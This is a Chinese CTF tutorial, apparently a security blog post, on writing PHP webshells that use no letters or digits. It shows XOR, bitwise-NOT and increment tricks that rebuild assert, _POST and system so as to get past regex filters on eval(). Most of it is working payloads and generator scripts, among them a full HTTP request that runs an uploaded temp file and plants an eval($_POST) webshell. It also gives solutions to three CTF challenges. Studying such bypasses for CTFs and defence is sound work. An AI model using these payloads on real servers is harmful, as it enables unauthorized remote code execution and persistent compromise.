干貨 | 無字母數字webshell總結
寫在前面
關于無字母數字Webshell這個話題,可以說是老生常談了。之前打 CTF 的時候也經常會遇到,每次都讓人頭大,所謂無字符webshell,其基本原型就是對以下代碼的繞過:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
基礎知識
PHP中的異或
來看這樣一段代碼:
<?php echo "5"^"Z"; ?>
結果將會輸出o,我們來分析下原因,5的ASCII碼是53,轉成二進制是00110101,Z的ASCII碼是90,轉成二進制是01011010,將他們進行異或,為,也即十進制的111,為o.
我們深入一點來看看關于函數的執行的示例:
<?php
function o(){
echo "Hello,Von";
}
$_++;
$__= "5" ^ "Z";
$__();
?>
結果將能夠成功輸出"Hello,Von",我們來看一下執行的原理。
- $_++對_變量進行了自增操作,由于我們沒有定義_的值,PHP會給_賦一個默認值NULL==0,由此我們可以看出,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字
- $__= "5" ^ "Z"這步我們上面已經見過了,將會賦給__這個變量一個值"o"
- 由于PHP的動態語言特性,PHP允許我們將字符串當成函數來處理,因此在這里面的$__()就相當于調用了o()
PHP中的取反
來看下面這個例子:
>>> print("盧".encode("utf8"))
b'\xe5\x8d\xa2'
<?php
$_="盧";
print(~($_{1}));
print(~"\x8d");
// 輸出rr
上面兩個輸出是相同的原因是因為里面$_{1}就是\x8d,至于為什么對\x8d進行取反就能得到r,具體原理解釋起來涉及到取反、補碼、十六進制編碼等的相關知識,就略過不表了。(建議回去復習計組)
總之我們就需要知道,對于一個漢字進行~($x{0})或~($x{1})或~($x{2})的操作,可以得到某個ASCII碼的字符值
PHP5和PHP7的區別
- PHP5中,assert()是一個函數,我們可以用$_=assert;$_()這樣的形式來執行代碼。但在PHP7中,assert()變成了一個和eval()一樣的語言結構,不再支持上面那種調用方法。(不過貌似這點存疑,我在PHP7.1中確實不允許再使用這種調用方法了,但是網上有人貌似在PHP7.0.12下還能這樣調用,可能是7.1及以上不行??)
- PHP5中,是不支持($a)()這種調用方法的,但在PHP7中支持這種調用方法,因此支持這么寫('phpinfo')();
PHP中的短標簽
PHP中有兩種短標簽,<??>和<?=?>。其中,<??>相當于對<?php>的替換。而<?=?>則是相當于<? echo>。例如:
<?= '111'?>
將會輸出'111' 大部分文章說短標簽需要在php.ini中設置short_open_tag為on才能開啟短標簽(默認是開啟的,但似乎又默認注釋,所以還是等于沒開啟)。
但實際上在PHP5.4以后,無論short_open_tag是否開啟,<?=?>這種寫法總是適用的,<??>這種寫法則需要short_open_tag開啟才行。
PHP中的反引號
PHP中,反引號可以起到命令執行的效果。
<?php $_=`whoami`; echo $_;
成功執行命令

如果我們利用上面短標簽的寫法,可以把代碼簡寫為:
<?= `whoami`?>
方法解析
基本所有的思路都是利用無字符構造出相關字符如assert,來進行執行函數。
方法一
方法一就是利用我們上面提到的關于異或的知識, 我給出一個POC:
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
這個POC可以將"assert"變成兩個字符串異或的結果。
為了便于表示,生成字符串的范圍我均控制為可見字符(即ASCII為33~126),如果要使POC適用范圍更廣,可以改為0~126,只不過對于不可見字符,需要用url編碼表示。
使用這個POC,我們可以得到:
<?php
$_ = "!((%)("^"@[[@[\\"; //構造出assert
$__ = "!+/(("^"~{`{|"; //構造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
代入此題的環境,可以看到,成功執行命令

需要注意的是,由于我們的Payload中含有一些特殊字符,我們我們需要對Payload進行一次URL編碼。
方法二
方法二就是利用取反的原理,對漢字取反獲得字符。
我給出一個POC,從3000+個漢字中獲得通過取反得到assert。
<?php
header("Content-type:text/html;charset=utf-8");
$shell = "assert";
$result = "";
$arr =array();
$word = "一乙二十丁廠七卜人入八九幾兒了力乃刀又三于干虧士工土才寸下大丈與萬上小口巾山千乞川億個勺久凡及夕丸么廣亡門義之尸弓己已子衛也女飛刃習叉馬鄉豐王井開夫天無元專云扎藝
木五支廳不太犬區歷尤友匹車巨牙屯比互切瓦止少日中岡貝內水見午牛手毛氣升長仁什片仆化仇幣仍僅斤爪反介父從今兇分乏公倉月氏勿欠風丹勻烏鳳勾文六方火為斗憶訂計戶認心尺引
丑巴孔隊辦以允予勸雙書幻玉刊示末未擊打巧正撲扒功扔去甘世古節本術可丙左厲右石布龍平滅軋東卡北占業舊帥歸且旦目葉甲申叮電號田由史只央兄叼叫另叨嘆四生失禾丘付仗代仙們
儀白仔他斥瓜乎叢令用甩印樂句匆冊犯外處冬鳥務包饑主市立閃蘭半汁匯頭漢寧穴它討寫讓禮訓必議訊記永司尼民出遼奶奴加召皮邊發孕圣對臺矛糾母幼絲式刑動扛寺吉扣考托老執鞏圾
擴掃地揚場耳共芒亞芝朽樸機權過臣再協西壓厭在有百存而頁匠夸奪灰達列死成夾軌邪劃邁畢至此貞師塵尖劣光當早吐嚇蟲曲團同吊吃因吸嗎嶼帆歲回豈剛則肉網年朱先丟舌竹遷喬偉傳
乒乓休伍伏優伐延件任傷價份華仰仿伙偽自血向似后行舟全會殺合兆企眾爺傘創肌朵雜危旬旨負各名多爭色壯沖冰莊慶亦劉齊交次衣產決充妄閉問闖羊并關米燈州汗污江池湯忙興宇守宅
字安講軍許論農諷設訪尋那迅盡導異孫陣陽收階陰防奸如婦好她媽戲羽觀歡買紅纖級約紀馳巡壽弄麥形進戒吞遠違運扶撫壇技壞擾拒找批扯址走抄壩貢攻赤折抓扮搶孝均拋投墳抗坑坊抖
護殼志扭塊聲把報卻劫芽花芹芬蒼芳嚴蘆勞克蘇桿杠杜材村杏極李楊求更束豆兩麗醫辰勵否還殲來連步堅旱盯呈時吳助縣里呆園曠圍呀噸足郵男困吵串員聽吩吹嗚吧吼別崗帳財針釘告我
亂利禿秀私每兵估體何但伸作伯伶傭低你住位伴身皂佛近徹役返余希坐谷妥含鄰岔肝肚腸龜免狂猶角刪條卵島迎飯飲系言凍狀畝況床庫療應冷這序辛棄冶忘閑間悶判灶燦弟汪沙汽沃泛溝
沒沈沉懷憂快完宋宏牢究窮災良證啟評補初社識訴診詞譯君靈即層尿尾遲局改張忌際陸阿陳阻附妙妖妨努忍勁雞驅純紗納綱駁縱紛紙紋紡驢紐奉玩環武青責現表規抹攏拔揀擔坦押抽拐拖
拍者頂拆擁抵拘勢抱垃拉攔拌幸招坡披撥擇抬其取苦若茂蘋苗英范直茄莖茅林枝杯柜析板松槍構杰述枕喪或畫臥事刺棗雨賣礦碼廁奔奇奮態歐壟妻轟頃轉斬輪軟到非叔肯齒些虎虜腎賢尚
旺具果味昆國昌暢明易昂典固忠咐呼鳴詠呢岸巖帖羅幟嶺凱敗販購圖釣制知垂牧物乖刮稈和季委佳侍供使例版侄偵側憑僑佩貨依的迫質欣征往爬彼徑所舍金命斧爸采受乳貪念貧膚肺肢腫
脹朋股肥服脅周昏魚兔狐忽狗備飾飽飼變京享店夜廟府底劑郊廢凈盲放刻育閘鬧鄭券卷單炒炊炕炎爐沫淺法泄河沾淚油泊沿泡注瀉泳泥沸波潑澤治怖性怕憐怪學寶宗定宜審宙官空簾實試
郎詩肩房誠襯衫視話誕詢該詳建肅錄隸居屆刷屈弦承孟孤陜降限妹姑姐姓始駕參艱線練組細駛織終駐駝紹經貫奏春幫珍玻毒型掛封持項垮挎城撓政赴趙擋挺括拴拾挑指墊掙擠拼挖按揮挪
某甚革薦巷帶草繭茶荒茫蕩榮故胡南藥標枯柄棟相查柏柳柱柿欄樹要咸威歪研磚厘厚砌砍面耐耍牽殘殃輕鴉皆背戰點臨覽豎省削嘗是盼眨哄顯啞冒映星昨畏趴胃貴界虹蝦蟻思螞雖品咽罵
嘩咱響哈咬咳哪炭峽罰賤貼骨鈔鐘鋼鑰鉤卸缸拜看矩怎牲選適秒香種秋科重復竿段便倆貸順修保促侮儉俗俘信皇泉鬼侵追俊盾待律很須敘劍逃食盆膽勝胞胖脈勉狹獅獨狡獄狠貿怨急饒蝕
餃餅彎將獎哀亭亮度跡庭瘡瘋疫疤姿親音帝施聞閥閣差養美姜叛送類迷前首逆總煉炸炮爛剃潔洪灑澆濁洞測洗活派洽染濟洋洲渾濃津恒恢恰惱恨舉覺宣室宮憲突穿竊客冠語扁襖祖神祝誤
誘說誦墾退既屋晝費陡眉孩除險院娃姥姨姻嬌怒架賀盈勇怠柔壘綁絨結繞驕繪給絡駱絕絞統耕耗艷泰珠班素蠶頑盞匪撈栽捕振載趕起鹽捎捏埋捉捆捐損都哲逝撿換挽熱恐壺挨恥耽恭蓮莫
荷獲晉惡真框桂檔桐株橋桃格校核樣根索哥速逗栗配翅辱唇夏礎破原套逐烈殊顧轎較頓斃致柴桌慮監緊黨曬眠曉鴨晃晌暈蚊哨哭恩喚啊唉罷峰圓賊賄錢鉗鉆鐵鈴鉛缺氧特犧造乘敵秤租積
秧秩稱秘透筆笑筍債借值倚傾倒倘俱倡候俯倍倦健臭射躬息徒徐艦艙般航途拿爹愛頌翁脆脂胸胳臟膠腦貍狼逢留皺餓戀槳漿衰高席準座脊癥病疾疼疲效離唐資涼站剖競部旁旅畜閱羞瓶拳
粉料益兼烤烘煩燒燭煙遞濤浙澇酒涉消浩海涂浴浮流潤浪浸漲燙涌悟悄悔悅害寬家宵宴賓窄容宰案請朗諸讀扇襪袖袍被祥課誰調冤諒談誼剝懇展劇屑弱陵陶陷陪娛娘通能難預桑絹繡驗繼
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探據掘職基著勒黃萌蘿菌菜萄菊萍菠營械夢梢梅檢梳梯桶救副票戚爽聾襲盛雪輔輛虛雀堂常匙晨睜瞇眼懸野啦晚啄距躍略蛇累唱患唯崖嶄崇
圈銅鏟銀甜梨犁移笨籠笛符第敏做袋悠償偶偷您售停偏假得銜盤船斜盒鴿悉欲彩領腳脖臉脫象夠猜豬獵貓猛餡館湊減毫麻癢痕廊康庸鹿盜章竟商族旋望率著蓋粘粗粒斷剪獸清添淋淹渠漸
混漁淘液淡深婆梁滲情惜慚悼懼惕驚慘慣寇寄宿窯密謀謊禍謎逮敢屠彈隨蛋隆隱婚嬸頸績緒續騎繩維綿綢綠琴斑替款堪搭塔越趁趨超提堤博揭喜插揪搜煮援裁擱摟攪握揉斯期欺聯散惹葬
葛董葡敬蔥落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼廚廈硬確雁殖裂雄暫雅輩悲紫輝敞賞掌晴暑最量噴晶喇遇喊景踐跌跑遺蛙蛛蜓喝喂喘喉幅帽賭賠黑鑄鋪鏈銷鎖鋤鍋銹鋒銳短智毯鵝剩
稍程稀稅筐等筑策篩筒答筋箏傲傅牌堡集焦傍儲奧街懲御循艇舒番釋禽臘脾腔魯猾猴然饞裝蠻就痛童闊善羨普糞尊道曾焰港湖渣濕溫渴滑灣渡游滋溉憤慌惰愧愉慨割寒富竄窩窗遍裕褲裙
謝謠謙屬屢強粥疏隔隙絮嫂登緞緩編騙緣瑞魂肆攝摸填搏塌鼓擺攜搬搖搞塘攤蒜勤鵲藍墓幕蓬蓄蒙蒸獻禁楚想槐榆樓概賴酬感礙碑碎碰碗碌雷零霧雹輸督齡鑒睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩錯錫鑼錘錦鍵鋸矮辭稠愁籌簽簡毀舅鼠催傻像躲微愈遙腰腥腹騰腿觸解醬痰廉新韻意糧數煎塑慈煤煌滿漠源濾濫滔溪溜滾濱粱灘慎譽塞謹福群殿辟障嫌嫁疊縫纏靜
碧璃墻撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷釀酸磁愿需弊裳顆嗽蜻蠟蠅蜘賺鍬鍛舞穩算籮管僚鼻魄貌膜膊膀鮮疑饅裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨賽察蜜譜
嫩翠熊凳騾縮慧撕撒趣趟撐播撞撤增聰鞋蕉蔬橫槽櫻橡飄醋醉震霉瞞題暴瞎影踢踏踩蹤蝶蝴囑墨鎮靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩顏毅糊遵潛潮懂額慰劈操燕薯薪薄顛橘整融醒餐
嘴蹄器贈默鏡贊籃邀衡膨雕磨凝辨辯糖糕燃澡激懶壁避繳戴擦鞠藏霜霞瞧蹈螺穗繁辮贏糟糠燥臂翼驟鞭覆蹦鐮翻鷹警攀蹲顫瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭侖譏冗鄧艾
夯凸盧叭嘰皿凹囚矢乍爾馮玄邦迂邢芋芍吏夷吁呂吆屹廷迄臼仲倫伊肋旭匈鳧妝亥汛諱訝訛訟訣弛阱馱馴紉玖瑪韌摳扼汞扳掄坎塢抑擬抒芙蕪葦芥芯芭杖杉巫杈甫匣軒鹵肖吱吠嘔吶吟嗆
吻吭邑囤吮嶇牡佑佃伺囪肛肘甸狽鳩彤灸刨庇吝廬閏兌灼沐沛汰瀝淪洶滄滬忱詛詐罕屁墜妓姊妒緯玫卦坷坯拓坪坤拄擰拂拙拇拗茉昔苛苫茍苞茁苔枉樞枚楓杭郁礬奈奄毆歧卓曇哎咕呵嚨
呻啰咒咆咖帕賬貶貯氛秉岳俠僥侶侈卑劊剎肴覓忿甕骯肪獰龐瘧疙疚卒氓炬沽沮泣濘泌沼怔怯寵宛衩祈詭帚屜弧彌陋陌函姆虱叁紳駒絆繹契貳玷玲珊拭拷拱挾垢垛拯荊茸茬莢茵茴蕎薺葷
熒荔棧柑柵檸枷勃柬砂泵硯鷗軸韭虐昧盹咧昵昭盅勛哆咪喲幽鈣鈍鈉欽鈞鈕氈氫秕俏俄俐侯徊衍胚朧胎猙餌巒奕咨颯閨閩籽婁爍炫洼柒涎洛恃恍恬恤宦誡誣祠誨屏屎遜隕姚娜蚤駭耘耙秦
匿埂捂捍袁捌挫摯搗捅埃耿聶荸莽萊莉瑩鶯梆棲樺栓桅樁賈酌砸砰礫殉逞哮嘮哺剔蚌蚜畔蚣蚪蚓哩圃鴦唁哼唆峭唧峻賂贓鉀鉚氨秫笆俺賃倔殷聳舀豺豹頒胯胰臍膿逛卿鴕鴛餒凌凄衷郭齋
疹紊瓷羔烙浦渦渙滌澗涕澀悍憫竅諾誹袒諄祟恕娩駿瑣麩琉瑯措捺捶赦埠捻掐掂掖擲撣摻勘聊娶菱菲萎菩螢乾蕭薩菇彬梗梧梭曹醞酗廂硅碩奢盔匾顱彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥嘯崎邏崔崩嬰賒銬鐺鋁鍘銑銘矯秸穢笙笤偎傀軀兜釁徘徙舶舷舵斂翎脯逸凰猖祭烹庶庵痊閻闡眷焊煥鴻涯淑淌淮淆淵淫淳淤淀涮涵惦悴惋寂窒諜諧襠袱禱謁謂諺尉墮隅婉頗綽繃綜綻
綴巢琳琢瓊揍堰揩攬揖彭揣攙搓壹搔葫募蔣蒂韓棱椰焚椎棺榔橢粟棘酣酥硝硫頰靂翹鑿棠晰鼎喳遏晾疇跋跛蛔蜒蛤鵑喻啼喧嵌賦贖賜銼鋅甥掰氮氯黍筏牘粵逾腌腋腕猩猬憊敦痘痢瘓竣翔
奠遂焙滯湘渤渺潰濺湃愕惶寓窖窘雇謗犀隘媒媚婿緬纜締縷騷瑟鵡瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷欖楞楣酪碘硼碉輻輯頻睹睦瞄嗜嗦暇畸蹺跺蜈蝸蛻蛹嗅嗡嗤署蜀幌錨錐锨錠錳稚頹筷魁衙
膩腮腺鵬肄猿穎煞雛饃餾稟痹廓癡靖謄漓溢溯溶滓溺寞窺窟寢褂裸謬媳嫉縛繽剿贅熬赫蔫摹蔓蔗藹熙蔚兢榛榕酵碟碴堿碳轅轄雌墅嘁踴蟬嘀幔鍍舔熏箍箕簫輿僧孵瘩瘟彰粹漱漩漾慷寡寥
譚褐褪隧嫡纓攆撩撮撬擒墩撰鞍蕊蘊樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢鑷鎬稽簍膘鯉鯽褒癟瘤癱凜澎潭潦澳潘澈瀾澄憔懊憎翩褥譴鶴憨履嬉豫繚撼擂擅蕾薛薇擎翰噩櫥橙瓢蟥
霍霎轍冀踱蹂蟆螃螟噪鸚黔穆篡篷篙籬儒膳鯨癮瘸糙燎瀕憾懈窿韁壕藐檬檐檁檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎贍鐐魏簇儡徽爵朦臊鱷糜癌懦豁臀藕藤瞻囂鰭癩瀑襟璧戳攢孽蘑藻鱉蹭蹬簸簿蟹
靡癬羹鬢攘蠕巍鱗糯譬霹躪髓蘸鑲瓤矗";
function mb_str_split( $string ) {
return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
$arr[] = $c;
}
for ($x=0;$x<strlen($shell);$x++)
{
for ($y=0;$y<count($arr);$y++)
{
$k = $arr[$y];
if ($shell[$x] == ~($k{1}))
{
$result .= $k;
break;
}
}
}
echo $result;
根據上面這個POC,我們可以知道,由"極區區皮十勺"可以得到"assert";由"寸小欠立"可以得到"POST"可以得到一個exp:
<?php
$_++; //得到1,此時$_=1
$__ = "極";
$___ = ~($__{$_}); //得到a,此時$___="a"
$__ = "區";
$___ .= ~($__{$_}); //得到s,此時$___="as"
$___ .= ~($__{$_}); //此時$___="ass"
$__ = "皮";
$___ .= ~($__{$_}); //得到e,此時$___="asse"
$__ = "十";
$___ .= ~($__{$_}); //得到r,此時$___="asser"
$__ = "勺";
$___ .= ~($__{$_}); //得到t,此時$___="assert"
$____ = '_'; //$____='_'
$__ = "寸";
$____ .= ~($__{$_}); //得到P,此時$____="_P"
$__ = "小";
$____ .= ~($__{$_}); //得到O,此時$____="_PO"
$__ = "欠";
$____ .= ~($__{$_}); //得到S,此時$____="_POS"
$__ = "立";
$____ .= ~($__{$_}); //得到T,此時$____="_POST"
$_ = $$____; //$_ = $_POST
$___($_[_]); //assert($_POST[_])

成功執行命令,不過由于相同的原因,我們需要對exp進行URL編碼才能正常使用。
這里還有一個需要注意的點是在PHP5下我們需要使用:
$__ = "欠";
$____ .= ~($__{$_});
這種寫法而不能直接使用:
$____ .= ~("欠"{$_});
后者是PHP7中的語法。
升級版
在上面的學習過程中,可以知道:
$_="盧";
print(~($_{1}));
print(~"\x8d");
這兩種寫法其實是等價的。
所以如果把EXP中的~("欠"{1})寫成~"\x8d"這種形式,可以縮減不少字符。給出POC:
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
hexbit = hexbit.replace('0x','%')
print(hexbit)
get('assert')
get('_POST')
利用這個POC,我把上面的EXP縮減為:
<?php $_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此時$_="assert" $__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此時$__="_POST" $___ = $$__; //$___=$_POST $_($___[_]); //assert($_POST[_])

注意到這里"assert"和"_POST"都用的URL編碼表示,如果直接以\x9e\x8c\x8c\x9a\x8d\x8b這種UTF-8字符表示,并不能識別出為UTF-8字符,而是會被識別為英文+數字的字符串。
方法三
這種方法主要就是利用自增自減。
"A"++ ==> "B" "B"++ ==> "C"
也就是說,如果我們能夠得到"A",那么我們就能通過自增自減,得到所有的字母。
那么問題就轉化為怎么得到一個字符"A"。
在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為"Array"。再取這個字符串的第一個字母,就可以獲得"A"。
<?php $a = ''.[]; var_dump($a);

故有payload:
<?php $_=[].''; //得到"Array" $___ = $_[$__]; //得到"A",$__沒有定義,默認為False也即0,此時$___="A" $__ = $___; //$__="A" $_ = $___; //$_="A" $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此時$__="S" $___ .= $__; //$___="AS" $___ .= $__; //$___="ASS" $__ = $_; //$__="A" $__++;$__++;$__++;$__++; //得到"E",此時$__="E" $___ .= $__; //$___="ASSE" $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此時$__="R" $___ .= $__; //$___="ASSER" $__++;$__++; //得到"T",此時$__="T" $___ .= $__; //$___="ASSERT" $__ = $_; //$__="A" $____ = "_"; //$____="_" $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此時$__="P" $____ .= $__; //$____="_P" $__ = $_; //$__="A" $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此時$__="O" $____ .= $__; //$____="_PO" $__++;$__++;$__++;$__++; //得到"S",此時$__="S" $____ .= $__; //$____="_POS" $__++; //得到"T",此時$__="T" $____ .= $__; //$____="_POST" $_ = $$____; //$_=$_POST $___($_[_]); //ASSERT($POST[_])

由于PHP中函數對大小寫不敏感,所以我們最終執行的是ASSERT()而不是assert()
進階
過濾了_
在我們上面的例子中,_的主要用途就是在構造變量。
但其實最簡便的方法里面,我們可以完全不用_,這里給出一個例子。
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
分析下這個Payload,?>閉合了eval自帶的<?標簽。接下來使用了短標簽。
{}包含的PHP代碼可以被執行,~"%a0%b8%ba%ab"為"_GET",通過反引號進行shell命令執行。
最后我們只要GET傳參%a0即可執行命令。

過濾了;
分號我們只是用在結束PHP語句上,我們只要把所有的PHP語句改成短標簽形式,就可以不使用;了。
過濾了$
過濾了$的影響是我們徹底不能構造變量了。
PHP7
在PHP7中,我們可以使用($a)()這種方法來執行命令。
這里我使用call_user_func()來舉例(不使用assert()的原因上面已經解釋過)。
我構造了shell=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
其中~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c是"call_user_func",~%8c%86%8c%8b%9a%92是"system",~%88%97%90%9e%92%96是"whoami"。
成功執行命令

PHP5
PHP5中不再支持($a)()這種方法來調用函數。因此利用方法較為復雜。
詳細過程可以參考P神的無字母數字webshell之提高篇(https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list)
我們首先要知道幾個知識點:
1. Linux下可以用 . 來執行文件
2. PHP中POST上傳文件會把我們上傳的文件暫時存在/tmp文件夾中,默認文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機的大小寫字母。(說句題外話,這個知識點在最近的CTF中頻繁出鏡,具體利用有如文件包含等)
假如我們要執行生成的文件,那我們可以嘗試下
. /???/?????????
但是我們會發現這樣(通常情況下)并不能爭取的執行文件,而是會報錯,原因就是這樣匹配到的文件太多了,系統不知道要執行哪個文件。
根據P神的文章,最后我們可以采用的Payload是:
. /???/????????[@-[]
最后的[@-[]表示ASCII在@和[之間的字符,也就是大寫字母,所以最后會執行的文件是tmp文件夾下結尾是大寫字母的文件。
由于PHP生成的tmp文件最后一位是隨機的大小寫字母,所以我們可能需要多試幾次才能正確的執行我們的代碼。(50%的幾率嘛)
固有最終數據包:
POST /?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1 Host: xxxxxx:2333 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type:multipart/form-data;boundary=--------123 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 106 ----------123 Content-Disposition:form-data;name="file";filename="1.txt" echo "<?php eval(\$_POST['shell']);" > success.php ----------123--
上面我們寫入了一個shell。如圖,成功Getshell。

幾道題目
題目一
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
?>
解法一
很明顯,我們上面提到的不用_寫shell的方法也適用于本題,直接對%a0傳參cat flag.php就行
解法二
當然,利用異或,我們也可以構造出類似的Payload:
?><?=`{${~"!'%("^"~``|"}[%a0]}`?>
也即:
?><?=`{${"!%27%25("^"%7e%60%60%7c"}[%a0]}`?>
解法三
解法一和解法二屬于威力大,可直接任意代碼執行。但在此題中由于有hint的存在,我們可以不必任意代碼執行,而只是執行getFlag()即可。
利用異或,有Payload:
${"`{{{"^"?<>/"}['+']();&+=getFlag
同樣利用取反也可以執行代碼,不再贅述。
題目二
<?php
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>
解法一
這道題很明顯可以利用上面所講的
. /???/????????[@-[]
來執行命令,畢竟getshell了還愁沒有flag?就不再介紹此種方法

解法二
同樣解法一屬于任意代碼執行,但在這道ctf題目中,我們已知了目錄下存在flag.php文件所以可以利用通配符直接匹配文件并輸出。
故有Payload:
code=?><?=`/???/??? ????.???`?>
其中/???/??? ????.???匹配/bin/cat flag.php,這樣也能得到flag。
題目三
這是De1ctf Hard_Pentest_1的第一部分。第一步要求我們上傳一句話木馬。
其正則限制為:
/[a-z0-9;~^`&|]/is
~、^都被過濾了,很明顯就是要用自增法構造了。由于;也被過濾了,所以只能使用短標簽法。
有EXP:
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
其實從上面這些題目,我們可以看到,在三種方法中,使用異或、取反的方法構造出來的Payload長度較短,使用自增的方法構造出的Payload較長。
所以一般限制長度執行的題目考察的都是~、^(不然限制你長度為100還是太長的也沒什么意思),但當過濾了~、^(如De1ctf那道),思路很明顯就是自增了。而過濾了;的情況,就指明要你使用短標簽了。
總結
其實上面方法的思路大多數都是一樣的,就是表示出各個字母進而執行函數。學習過程中也可對PHP的動態性有更深的理解。
但如P神所說,這種方法構造出來的webshell由于不包含字母數字,熵值很高,一看就有問題,所以一般也只在CTF中存在,實戰一般不存在這種情況。
參考文章
一些不包含數字和字母的webshellhttps://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html 無字母數字webshell之提高篇https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list PHP不使用數字,字母和下劃線寫shellhttps://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/ CTF題目思考--極限利用https://www.anquanke.com/post/id/154284
聲明:本公眾號所分享內容僅用于網安愛好者之間的技術討論,禁止用于違法途徑,所有滲透都需獲取授權!否則需自行承擔,本公眾號及原作者不承擔相應的后果.